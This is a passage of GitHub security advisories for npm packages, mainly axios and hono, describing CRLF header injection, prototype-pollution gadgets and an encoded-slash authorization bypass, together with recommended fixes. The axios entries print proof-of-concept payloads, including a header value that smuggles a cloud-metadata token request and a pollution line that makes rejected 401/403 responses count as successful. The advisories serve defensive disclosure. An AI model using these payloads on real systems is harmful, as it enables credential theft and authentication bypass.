"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Axios: no_proxy bypass via IP alias allows SSRF"
}
GHSA-FVCV-3M26-PCQX
Vulnerability from github – Published: 2026-04-10 19:47 – Updated: 2026-05-20 00:25Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain
Summary
The Axios library is vulnerable to a specific gadget-style attack chain in which prototype pollution in a third-party dependency may be leveraged to inject unsanitized header values into outbound requests.
Axios can be used as a gadget after pollution occurs elsewhere because header values merged from attacker-controlled prototype properties are not sanitized for CRLF (\r\n) characters before being written to the request. In affected deployments, this may enable limited request manipulation or metadata access as part of a higher-complexity exploit chain.
Severity: Moderate (CVSS 3.1 Base Score: 4.8)
Affected Versions: All versions (v0.x - v1.x)
Vulnerable Component: lib/adapters/http.js (Header Processing)
Usage of \"Helper\" Vulnerabilities
This issue requires a separate prototype pollution vulnerability in another library in the application stack (for example, qs, minimist, ini, or body-parser). If an attacker can pollute Object.prototype, Axios may pick up the polluted properties during config merge.
Because Axios does not sanitise these merged header values for CRLF (\r\n) characters, the polluted property can alter the structure of an outbound HTTP request.
Proof of Concept
1. The Setup (Simulated Pollution)
Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:
Object.prototype['x-amz-target'] = \"dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore\";
2. The Gadget Trigger (Safe Code)
The application makes a completely safe, hardcoded request:
// This looks safe to the developer
await axios.get('https://analytics.internal/pings');
3. The Execution
Axios merges the prototype property x-amz-target into the request headers. It then writes the header value directly to the socket without validation.
Resulting HTTP traffic:
GET /pings HTTP/1.1
Host: analytics.internal
x-amz-target: dummy
PUT /latest/api/token HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token-ttl-seconds: 21600
GET /ignore HTTP/1.1
...
4. The Impact
In environments where requests can reach cloud metadata endpoints or sensitive internal services, the injected header content may help bypass expected request constraints and expose limited credentials or modify request semantics. This impact depends on application context and a separate prototype-pollution primitive.
Impact Analysis
- Confidentiality: May expose limited sensitive information in affected network environments.
- Integrity: May allow modification of outbound request structure or injected headers.
- Attack Complexity: Exploitation requires a separate prototype-pollution vulnerability and a reachable target service.
Recommended Fix
Validate all header values in lib/adapters/http.js and xhr.js before passing them to the underlying request function.
Patch Suggestion:
// In lib/adapters/http.js
utils.forEach(requestHeaders, function setRequestHeader(val, key) {
if (/[\r\n]/.test(val)) {
throw new Error('Security: Header value contains invalid characters');
}
// ... proceed to set header
});
References
- OWASP: CRLF Injection (CWE-113)
This report was generated as part of a security audit of the Axios library.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.15.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.31.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40175"
],
"database_specific": {
"cwe_ids": [
"CWE-113",
"CWE-444",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-10T19:47:16Z",
"nvd_published_at": "2026-04-10T20:16:22Z",
"severity": "MODERATE"
},
"details": "# Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain\n\n## Summary\nThe Axios library is vulnerable to a specific gadget-style attack chain in which **prototype pollution** in a third-party dependency may be leveraged to inject unsanitized header values into outbound requests.\n\nAxios can be used as a gadget after pollution occurs elsewhere because header values merged from attacker-controlled prototype properties are not sanitized for CRLF (`\\r\\n`) characters before being written to the request. In affected deployments, this may enable limited request manipulation or metadata access as part of a higher-complexity exploit chain.\n\n**Severity**: Moderate (CVSS 3.1 Base Score: 4.8)\n**Affected Versions**: All versions (v0.x - v1.x)\n**Vulnerable Component**: `lib/adapters/http.js` (Header Processing)\n\n## Usage of \\\"Helper\\\" Vulnerabilities\nThis issue requires a separate **prototype pollution** vulnerability in another library in the application stack (for example, `qs`, `minimist`, `ini`, or `body-parser`). If an attacker can pollute `Object.prototype`, Axios may pick up the polluted properties during config merge.\n\nBecause Axios does not sanitise these merged header values for CRLF (`\\r\\n`) characters, the polluted property can alter the structure of an outbound HTTP request.\n\n## Proof of Concept\n\n### 1. The Setup (Simulated Pollution)\nImagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:\n```javascript\nObject.prototype[\u0027x-amz-target\u0027] = \\\"dummy\\r\\n\\r\\nPUT /latest/api/token HTTP/1.1\\r\\nHost: 169.254.169.254\\r\\nX-aws-ec2-metadata-token-ttl-seconds: 21600\\r\\n\\r\\nGET /ignore\\\";\n```\n\n### 2. The Gadget Trigger (Safe Code)\nThe application makes a completely safe, hardcoded request:\n```javascript\n// This looks safe to the developer\nawait axios.get(\u0027https://analytics.internal/pings\u0027); \n```\n\n### 3. The Execution\nAxios merges the prototype property `x-amz-target` into the request headers. It then writes the header value directly to the socket without validation.\n\n**Resulting HTTP traffic:**\n```http\nGET /pings HTTP/1.1\nHost: analytics.internal\nx-amz-target: dummy\n\nPUT /latest/api/token HTTP/1.1\nHost: 169.254.169.254\nX-aws-ec2-metadata-token-ttl-seconds: 21600\n\nGET /ignore HTTP/1.1\n...\n```\n\n### 4. The Impact\nIn environments where requests can reach cloud metadata endpoints or sensitive internal services, the injected header content may help bypass expected request constraints and expose limited credentials or modify request semantics. This impact depends on application context and a separate prototype-pollution primitive.\n\n## Impact Analysis\n- **Confidentiality**: May expose limited sensitive information in affected network environments.\n- **Integrity**: May allow modification of outbound request structure or injected headers.\n- **Attack Complexity**: Exploitation requires a separate prototype-pollution vulnerability and a reachable target service.\n\n## Recommended Fix\nValidate all header values in `lib/adapters/http.js` and `xhr.js` before passing them to the underlying request function.\n\n**Patch Suggestion:**\n```javascript\n// In lib/adapters/http.js\nutils.forEach(requestHeaders, function setRequestHeader(val, key) {\n if (/[\\r\\n]/.test(val)) {\n throw new Error(\u0027Security: Header value contains invalid characters\u0027);\n }\n // ... proceed to set header\n});\n```\n\n## References\n- **OWASP**: CRLF Injection (CWE-113)\n\nThis report was generated as part of a security audit of the Axios library.",
"id": "GHSA-fvcv-3m26-pcqx",
"modified": "2026-05-20T00:25:27Z",
"published": "2026-04-10T19:47:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-fvcv-3m26-pcqx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40175"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/10660"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/10660#issuecomment-4224168081"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/10688"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/03cdfc99e8db32a390e12128208b6778492cee9c"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/363185461b90b1b78845dc8a99a1f103d9b122a1"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-876049.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v0.31.0"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v1.15.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain"
}
GHSA-W9J2-PVGH-6H63
Vulnerability from github – Published: 2026-05-05 00:21 – Updated: 2026-05-05 00:21Vulnerability Disclosure: Authentication Bypass via Prototype Pollution Gadget in validateStatus Merge Strategy
Summary
The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution to silently suppress all HTTP error responses (401, 403, 500, etc.), causing them to be treated as successful responses. This completely bypasses application-level authentication and error handling.
The root cause is that validateStatus is the only config property using the mergeDirectKeys merge strategy, which uses JavaScript's in operator — an operator that inherently traverses the prototype chain. When Object.prototype.validateStatus is polluted with () => true, all HTTP status codes are accepted as success.
Severity: High (CVSS 8.2)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component: lib/core/mergeConfig.js (mergeDirectKeys strategy) + lib/core/settle.js
CWE
- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
- CWE-287: Improper Authentication
CVSS 3.1
Score: 8.2 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | PP is triggered remotely |
| Attack Complexity | Low | Once PP exists, a single property assignment exploits this. Consistent with GHSA-fvcv-3m26-pcqx |
| Privileges Required | None | No authentication needed |
| User Interaction | None | No user interaction required |
| Scope | Unchanged | Impact within the application |
| Confidentiality | Low | 401 treated as success may expose data behind auth gates |
| Integrity | High | All error handling and auth checks are silently bypassed — application operates on invalid assumptions |
| Availability | None | The function works correctly (returns true), no crash |
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack, Axios will automatically inherit the polluted validateStatus function during config merge. The in operator in mergeDirectKeys makes this property uniquely susceptible to prototype pollution compared to all other config properties.
Why validateStatus Is Uniquely Vulnerable
All other config properties use defaultToConfig2, which reads config2[prop] (traverses prototype). But validateStatus uses mergeDirectKeys, which uses the in operator:
// mergeConfig.js:58-64 — mergeDirectKeys (ONLY used by validateStatus)
function mergeDirectKeys(a, b, prop) {
if (prop in config2) { // ← `in` traverses prototype chain!
return getMergedValue(a, b);
} else if (prop in config1) {
return getMergedValue(undefined, a);
}
}
// mergeConfig.js:94
const mergeMap = {
// ... all others use defaultToConfig2 ...
validateStatus: mergeDirectKeys, // ← ONLY property using this strategy
};
The in operator is a more aggressive prototype traversal than property access. While config2['validateStatus'] also traverses the prototype, the explicit in check makes the intent clearer and the vulnerability more direct.
Proof of Concept
1. The Setup (Simulated Pollution)
Object.prototype.validateStatus = () => true;
2. The Gadget Trigger (Safe Code)
// Application checks authentication via HTTP status codes
try {
const response = await axios.get('https://api.internal/admin/users');
// Developer expects: 401 → catch block → redirect to login
// Reality: 401 → treated as success → displays admin data
processAdminData(response.data); // Executes with 401 response body!
} catch (error) {
redirectToLogin(); // NEVER REACHED for 401/403/500
}
3. The Execution
// mergeConfig.js:58 — 'validateStatus' in config2
// config2 = { url: '/admin/users', method: 'get' }
// 'validateStatus' in config2 → checks prototype → finds () => true → TRUE
// → getMergedValue(defaultValidator, () => true) → returns () => true
// settle.js:16 — ALL status codes resolve
const validateStatus = response.config.validateStatus; // () => true
if (!response.status || !validateStatus || validateStatus(response.status)) {
resolve(response); // 401, 403, 500 all resolve here!
}
4. The Impact
Before pollution:
HTTP 200 → resolve (success)
HTTP 401 → reject (auth error) → redirectToLogin()
HTTP 403 → reject (forbidden) → showAccessDenied()
HTTP 500 → reject (server error) → showErrorPage()
After pollution:
HTTP 200 → resolve (success)
HTTP 401 → resolve (SUCCESS!) → processAdminData() with error body
HTTP 403 → resolve (SUCCESS!) → application thinks user has access
HTTP 500 → resolve (SUCCESS!) → application processes error as data
Verified PoC Output
--- Before Pollution ---
401: REJECTED as expected - Request failed with status code 401
500: REJECTED as expected - Request failed with status code 500
--- After Pollution ---
200: RESOLVED as success (status: 200)
301: RESOLVED as success (status: 301)
401: RESOLVED as success (status: 401)
403: RESOLVED as success (status: 403)
404: RESOLVED as success (status: 404)
500: RESOLVED as success (status: 500)
503: RESOLVED as success (status: 503)
--- Authentication Bypass Demo ---
Auth check bypassed! 401 treated as success.
Application proceeds with: { status: 401, message: 'Response with status 401' }
Impact Analysis
- Authentication Bypass: Applications relying on axios rejecting 401/403 to enforce auth will silently accept unauthorized responses, allowing unauthenticated access to protected resources.
- Silent Error Swallowing: 500-series errors are treated as success, causing applications to process error bodies as valid data — leading to data corruption or logic errors.
- Security Control Bypass: Rate limiting (429), WAF blocks (403), and CAPTCHA challenges are suppressed.
- Universal Scope: Affects every axios instance in the application, including third-party libraries.
Recommended Fix
Replace the in operator with hasOwnProperty in mergeDirectKeys:
// FIXED: lib/core/mergeConfig.js
function mergeDirectKeys(a, b, prop) {
if (Object.prototype.hasOwnProperty.call(config2, prop)) {
return getMergedValue(a, b);
} else if (Object.prototype.hasOwnProperty.call(config1, prop)) {
return getMergedValue(undefined, a);
}
}
Resources
- CWE-1321: Prototype Pollution
- CWE-287: Improper Authentication
- GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios
- MDN:
inoperator - Axios GitHub Repository
Timeline
| Date | Event |
|---|---|
| 2026-04-15 | Vulnerability discovered during source code audit |
| 2026-04-15 | PoC developed and vulnerability confirmed |
| 2026-04-16 | Report revised for accuracy |
| TBD | Report submitted to vendor via GitHub Security Advisory |
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.15.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.31.0"
},
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.31.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42041"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T00:21:39Z",
"nvd_published_at": "2026-04-24T18:16:31Z",
"severity": "MODERATE"
},
"details": "# Vulnerability Disclosure: Authentication Bypass via Prototype Pollution Gadget in `validateStatus` Merge Strategy\n\n## Summary\n\nThe Axios library is vulnerable to a Prototype Pollution \"Gadget\" attack that allows any `Object.prototype` pollution to **silently suppress all HTTP error responses** (401, 403, 500, etc.), causing them to be treated as successful responses. This completely bypasses application-level authentication and error handling.\n\nThe root cause is that `validateStatus` is the **only** config property using the `mergeDirectKeys` merge strategy, which uses JavaScript\u0027s `in` operator \u2014 an operator that inherently traverses the prototype chain. When `Object.prototype.validateStatus` is polluted with `() =\u003e true`, all HTTP status codes are accepted as success.\n\n**Severity:** High (CVSS 8.2)\n**Affected Versions:** All versions (v0.x - v1.x including v1.15.0)\n**Vulnerable Component:** `lib/core/mergeConfig.js` (`mergeDirectKeys` strategy) + `lib/core/settle.js`\n\n## CWE\n\n- **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)\n- **CWE-287:** Improper Authentication\n\n## CVSS 3.1\n\n**Score: 8.2 (High)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP is triggered remotely |\n| Attack Complexity | Low | Once PP exists, a single property assignment exploits this. Consistent with GHSA-fvcv-3m26-pcqx |\n| Privileges Required | None | No authentication needed |\n| User Interaction | None | No user interaction required |\n| Scope | Unchanged | Impact within the application |\n| Confidentiality | Low | 401 treated as success may expose data behind auth gates |\n| Integrity | High | All error handling and auth checks are silently bypassed \u2014 application operates on invalid assumptions |\n| Availability | None | The function works correctly (returns true), no crash |\n\n## Usage of \"Helper\" Vulnerabilities\n\nThis vulnerability requires **Zero Direct User Input**.\n\nIf an attacker can pollute `Object.prototype` via any other library in the stack, Axios will automatically inherit the polluted `validateStatus` function during config merge. The `in` operator in `mergeDirectKeys` makes this property **uniquely susceptible** to prototype pollution compared to all other config properties.\n\n## Why `validateStatus` Is Uniquely Vulnerable\n\nAll other config properties use `defaultToConfig2`, which reads `config2[prop]` (traverses prototype). But `validateStatus` uses `mergeDirectKeys`, which uses the `in` operator:\n\n```javascript\n// mergeConfig.js:58-64 \u2014 mergeDirectKeys (ONLY used by validateStatus)\nfunction mergeDirectKeys(a, b, prop) {\n if (prop in config2) { // \u2190 `in` traverses prototype chain!\n return getMergedValue(a, b);\n } else if (prop in config1) {\n return getMergedValue(undefined, a);\n }\n}\n\n// mergeConfig.js:94\nconst mergeMap = {\n // ... all others use defaultToConfig2 ...\n validateStatus: mergeDirectKeys, // \u2190 ONLY property using this strategy\n};\n```\n\nThe `in` operator is a **more aggressive** prototype traversal than property access. While `config2[\u0027validateStatus\u0027]` also traverses the prototype, the explicit `in` check makes the intent clearer and the vulnerability more direct.\n\n## Proof of Concept\n\n### 1. The Setup (Simulated Pollution)\n\n```javascript\nObject.prototype.validateStatus = () =\u003e true;\n```\n\n### 2. The Gadget Trigger (Safe Code)\n\n```javascript\n// Application checks authentication via HTTP status codes\ntry {\n const response = await axios.get(\u0027https://api.internal/admin/users\u0027);\n // Developer expects: 401 \u2192 catch block \u2192 redirect to login\n // Reality: 401 \u2192 treated as success \u2192 displays admin data\n processAdminData(response.data); // Executes with 401 response body!\n} catch (error) {\n redirectToLogin(); // NEVER REACHED for 401/403/500\n}\n```\n\n### 3. The Execution\n\n```javascript\n// mergeConfig.js:58 \u2014 \u0027validateStatus\u0027 in config2\n// config2 = { url: \u0027/admin/users\u0027, method: \u0027get\u0027 }\n// \u0027validateStatus\u0027 in config2 \u2192 checks prototype \u2192 finds () =\u003e true \u2192 TRUE\n// \u2192 getMergedValue(defaultValidator, () =\u003e true) \u2192 returns () =\u003e true\n\n// settle.js:16 \u2014 ALL status codes resolve\nconst validateStatus = response.config.validateStatus; // () =\u003e true\nif (!response.status || !validateStatus || validateStatus(response.status)) {\n resolve(response); // 401, 403, 500 all resolve here!\n}\n```\n\n### 4. The Impact\n\n```\nBefore pollution:\n HTTP 200 \u2192 resolve (success)\n HTTP 401 \u2192 reject (auth error) \u2192 redirectToLogin()\n HTTP 403 \u2192 reject (forbidden) \u2192 showAccessDenied()\n HTTP 500 \u2192 reject (server error) \u2192 showErrorPage()\n\nAfter pollution:\n HTTP 200 \u2192 resolve (success)\n HTTP 401 \u2192 resolve (SUCCESS!) \u2192 processAdminData() with error body\n HTTP 403 \u2192 resolve (SUCCESS!) \u2192 application thinks user has access\n HTTP 500 \u2192 resolve (SUCCESS!) \u2192 application processes error as data\n```\n\n## Verified PoC Output\n\n```\n--- Before Pollution ---\n401: REJECTED as expected - Request failed with status code 401\n500: REJECTED as expected - Request failed with status code 500\n\n--- After Pollution ---\n200: RESOLVED as success (status: 200)\n301: RESOLVED as success (status: 301)\n401: RESOLVED as success (status: 401)\n403: RESOLVED as success (status: 403)\n404: RESOLVED as success (status: 404)\n500: RESOLVED as success (status: 500)\n503: RESOLVED as success (status: 503)\n\n--- Authentication Bypass Demo ---\nAuth check bypassed! 401 treated as success.\nApplication proceeds with: { status: 401, message: \u0027Response with status 401\u0027 }\n```\n\n## Impact Analysis\n\n- **Authentication Bypass:** Applications relying on axios rejecting 401/403 to enforce auth will silently accept unauthorized responses, allowing unauthenticated access to protected resources.\n- **Silent Error Swallowing:** 500-series errors are treated as success, causing applications to process error bodies as valid data \u2014 leading to data corruption or logic errors.\n- **Security Control Bypass:** Rate limiting (429), WAF blocks (403), and CAPTCHA challenges are suppressed.\n- **Universal Scope:** Affects every axios instance in the application, including third-party libraries.\n\n## Recommended Fix\n\nReplace the `in` operator with `hasOwnProperty` in `mergeDirectKeys`:\n\n```javascript\n// FIXED: lib/core/mergeConfig.js\nfunction mergeDirectKeys(a, b, prop) {\n if (Object.prototype.hasOwnProperty.call(config2, prop)) {\n return getMergedValue(a, b);\n } else if (Object.prototype.hasOwnProperty.call(config1, prop)) {\n return getMergedValue(undefined, a);\n }\n}\n```\n\n## Resources\n\n- [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html)\n- [CWE-287: Improper Authentication](https://cwe.mitre.org/data/definitions/287.html)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [MDN: `in` operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/in)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-15 | Vulnerability discovered during source code audit |\n| 2026-04-15 | PoC developed and vulnerability confirmed |\n| 2026-04-16 | Report revised for accuracy |\n| TBD | Report submitted to vendor via GitHub Security Advisory |",
"id": "GHSA-w9j2-pvgh-6h63",
"modified": "2026-05-05T00:21:40Z",
"published": "2026-05-05T00:21:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-w9j2-pvgh-6h63"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42041"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Axios: Authentication Bypass via Prototype Pollution Gadget in `validateStatus` Merge Strategy"
}
GHSA-V8W9-8MX6-G223
Vulnerability from github – Published: 2026-03-11 00:31 – Updated: 2026-03-11 00:31Summary
When using parseBody({ dot: true }) in HonoRequest, specially crafted form field names such as __proto__.x could create objects containing a __proto__ property.
If the parsed result is later merged into regular JavaScript objects using unsafe merge patterns, this may lead to prototype pollution in the target object.
Details
The parseBody({ dot: true }) feature supports dot notation to construct nested objects from form field names.
In previous versions, the __proto__ path segment was not filtered. As a result, specially crafted keys such as __proto__.x could produce objects containing __proto__ properties.
While this behavior does not directly modify Object.prototype within Hono itself, it may become exploitable if the parsed result is later merged into regular JavaScript objects using unsafe merge patterns.
Impact
Applications that merge parsed form data into regular objects using unsafe patterns (for example recursive deep merge utilities) may become vulnerable to prototype pollution.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "hono"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.12.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-11T00:31:47Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nWhen using `parseBody({ dot: true })` in HonoRequest, specially crafted form field names such as `__proto__.x` could create objects containing a `__proto__` property.\n\nIf the parsed result is later merged into regular JavaScript objects using unsafe merge patterns, this may lead to prototype pollution in the target object.\n\n## Details\n\nThe `parseBody({ dot: true })` feature supports dot notation to construct nested objects from form field names.\n\nIn previous versions, the `__proto__` path segment was not filtered. As a result, specially crafted keys such as `__proto__.x` could produce objects containing `__proto__` properties.\n\nWhile this behavior does not directly modify `Object.prototype` within Hono itself, it may become exploitable if the parsed result is later merged into regular JavaScript objects using unsafe merge patterns.\n\n## Impact\n\nApplications that merge parsed form data into regular objects using unsafe patterns (for example recursive deep merge utilities) may become vulnerable to prototype pollution.",
"id": "GHSA-v8w9-8mx6-g223",
"modified": "2026-03-11T00:31:47Z",
"published": "2026-03-11T00:31:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/honojs/hono/security/advisories/GHSA-v8w9-8mx6-g223"
},
{
"type": "WEB",
"url": "https://github.com/honojs/hono/commit/ef902257e0beacbb83d2a9549b3b83e03514a6fe"
},
{
"type": "PACKAGE",
"url": "https://github.com/honojs/hono"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Hono vulnerable to Prototype Pollution possible through __proto__ key allowed in parseBody({ dot: true })"
}
GHSA-Q5QW-H33P-QVWR
Vulnerability from github – Published: 2026-03-04 19:48 – Updated: 2026-03-05 15:26Summary
When using serveStatic together with route-based middleware protections (e.g. app.use('/admin/*', ...)), inconsistent URL decoding allowed protected static resources to be accessed without authorization.
The router used decodeURI, while serveStatic used decodeURIComponent. This mismatch allowed paths containing encoded slashes (%2F) to bypass middleware protections while still resolving to the intended filesystem path.
Details
The routing layer preserved %2F as a literal string, while serveStatic decoded it into / before resolving the file path.
Example:
Request: /admin%2Fsecret.html
- Router sees:
/admin%2Fsecret.html→ does not match/admin/* - Static handler resolves:
/admin/secret.html
As a result, static files under the configured static root could be served without triggering route-based protections.
This only affects applications that both:
- Protect subpaths using route-based middleware, and
- Serve files from the same static root using
serveStatic.
This does not allow access outside the static root and is not a path traversal vulnerability.
Impact
An unauthenticated attacker could bypass route-based authorization for protected static resources by supplying paths containing encoded slashes.
Applications relying solely on route-based middleware to protect static subpaths may have exposed those resources.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "hono"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.12.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-29045"
],
"database_specific": {
"cwe_ids": [
"CWE-177"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-04T19:48:00Z",
"nvd_published_at": "2026-03-04T23:16:10Z",
"severity": "HIGH"
},
"details": "## Summary\n\nWhen using `serveStatic` together with route-based middleware protections (e.g. `app.use(\u0027/admin/*\u0027, ...)`), inconsistent URL decoding allowed protected static resources to be accessed without authorization.\n\nThe router used `decodeURI`, while `serveStatic` used `decodeURIComponent`. This mismatch allowed paths containing encoded slashes (`%2F`) to bypass middleware protections while still resolving to the intended filesystem path.\n\n\n## Details\n\nThe routing layer preserved `%2F` as a literal string, while `serveStatic` decoded it into `/` before resolving the file path.\n\nExample:\n\nRequest: `/admin%2Fsecret.html`\n\n- Router sees: `/admin%2Fsecret.html` \u2192 does not match `/admin/*`\n- Static handler resolves: `/admin/secret.html`\n\nAs a result, static files under the configured static root could be served without triggering route-based protections.\n\nThis only affects applications that both:\n\n- Protect subpaths using route-based middleware, and\n- Serve files from the same static root using `serveStatic`.\n\nThis does **not** allow access outside the static root and is **not** a path traversal vulnerability.\n\n\n## Impact\n\nAn unauthenticated attacker could bypass route-based authorization for protected static resources by supplying paths containing encoded slashes.\n\nApplications relying solely on route-based middleware to protect static subpaths may have exposed those resources.",
"id": "GHSA-q5qw-h33p-qvwr",
"modified": "2026-03-05T15:26:34Z",
"published": "2026-03-04T19:48:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/honojs/hono/security/advisories/GHSA-q5qw-h33p-qvwr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29045"
},
{
"type": "WEB",
"url": "https://github.com/honojs/hono/commit/6a0607a929d888893f0c91d92dce2fcfdb3662a3"
},
{
"type": "PACKAGE",
"url": "https://github.com/honojs/hono"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Hono vulnerable to arbitrary file access via serveStatic vulnerability "
}
GHSA-QJ8W-GFJ5-8C6V
Vulnerability from github – Published: 2026-03-27 18:18 – Updated: 2026-05-21 18:30Impact
What kind of vulnerability is it?
It is a Denial of Service (DoS) vulnerability caused by CPU exhaustion. When serializing a specially crafted "array-like" object (an object that inherits from Array.prototype but has a very large length property), the process enters an intensive loop that consumes 100% CPU and hangs indefinitely.
Who is impacted?
Applications that use serialize-javascript to serialize untrusted or user-controlled objects are at risk. While direct exploitation is difficult, it becomes a high-priority threat if the application is also vulnerable to Prototype Pollution or handles untrusted data via YAML Deserialization, as these could be used to inject the malicious object.
Patches
Has the problem been patched?
Yes, the issue has been patched by replacing instanceof Array checks with Array.isArray() and using Object.keys() for sparse array detection.
What versions should users upgrade to?
Users should upgrade to v7.0.5 or later.
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
There is no direct code-level workaround within the library itself. However, users can mitigate the risk by:
- Validating and sanitizing all input before passing it to the
serialize()function. - Ensuring the environment is protected against Prototype Pollution.
- Upgrading to
v7.0.5as soon as possible.
Acknowledgements
Serialize JavaScript thanks Tomer Aberbach (@TomerAberbach) for discovering and privately disclosing this issue.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "serialize-javascript"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "7.0.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34043"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-834"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T18:18:54Z",
"nvd_published_at": "2026-03-31T03:15:58Z",
"severity": "MODERATE"
},
"details": "### Impact\n\n**What kind of vulnerability is it?**\n\nIt is a **Denial of Service (DoS)** vulnerability caused by CPU exhaustion. When serializing a specially crafted \"array-like\" object (an object that inherits from `Array.prototype` but has a very large `length` property), the process enters an intensive loop that consumes 100% CPU and hangs indefinitely.\n\n**Who is impacted?**\n\nApplications that use `serialize-javascript` to serialize untrusted or user-controlled objects are at risk. While direct exploitation is difficult, it becomes a high-priority threat if the application is also vulnerable to **Prototype Pollution** or handles untrusted data via **YAML Deserialization**, as these could be used to inject the malicious object.\n\n### Patches\n\n**Has the problem been patched?**\n\nYes, the issue has been patched by replacing `instanceof Array` checks with `Array.isArray()` and using `Object.keys()` for sparse array detection.\n\n**What versions should users upgrade to?**\n\nUsers should upgrade to **`v7.0.5`** or later.\n\n### Workarounds\n\n**Is there a way for users to fix or remediate the vulnerability without upgrading?**\n\nThere is no direct code-level workaround within the library itself. However, users can mitigate the risk 